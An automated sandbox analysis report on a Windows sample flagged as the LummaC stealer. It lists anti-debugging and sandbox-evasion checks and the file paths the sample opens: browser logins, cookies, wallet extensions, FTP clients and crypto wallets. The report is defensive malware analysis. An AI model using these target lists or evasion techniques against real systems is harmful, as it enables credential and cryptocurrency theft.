Source: file.exe, 00000000.00000003.2208265661.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: file.exe, 00000000.00000003.2208265661.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: file.exe, 00000000.00000003.2208265661.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: file.exe, 00000000.00000003.2290277946.0000000000F43000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2262456548.0000000000F44000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156569902.0000000000F46000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2183169174.0000000000F43000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2261933260.0000000000F43000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2548540274.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: file.exe, 00000000.00000003.2208265661.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2208265661.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2552919245.0000000006350000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2546992672.000000000056E000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2208265661.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: file.exe, 00000000.00000003.2208265661.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_061CDE0E rdtsc

0_2_061CDE0E

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2546992672.000000000056E000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Program Manager
Source: file.exe, file.exe, 00000000.00000002.2552919245.0000000006350000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000003.2290277946.0000000000F43000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2286593609.00000000056A9000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 6228, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.2290277946.0000000000F43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: file.exe, 00000000.00000003.2290277946.0000000000F43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: file.exe, 00000000.00000003.2290277946.0000000000F43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: file.exe, 00000000.00000003.2290277946.0000000000F43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: file.exe, 00000000.00000003.2262456548.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: file.exe, 00000000.00000003.2290277946.0000000000F43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: file.exe, 00000000.00000003.2262456548.0000000000F44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.2261910701.0000000000F9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
